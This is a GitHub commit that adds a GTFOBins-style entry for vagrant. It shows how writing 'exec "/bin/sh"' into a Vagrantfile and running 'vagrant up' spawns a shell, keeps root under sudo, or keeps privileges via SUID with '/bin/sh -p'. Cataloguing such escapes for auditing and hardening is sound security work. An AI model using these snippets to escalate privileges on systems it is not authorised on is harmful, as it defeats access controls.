Add vagrant

This commit is contained in:
Andrea Cardaci 2023-04-13 08:34:25 +02:00 committed by GitHub
commit c2bbbd699d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

20
_gtfobins/vagrant.md Normal file
View File

@ -0,0 +1,20 @@
---
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
functions:
shell:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
sudo:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
suid:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh -p"' > Vagrantfile
vagrant up
---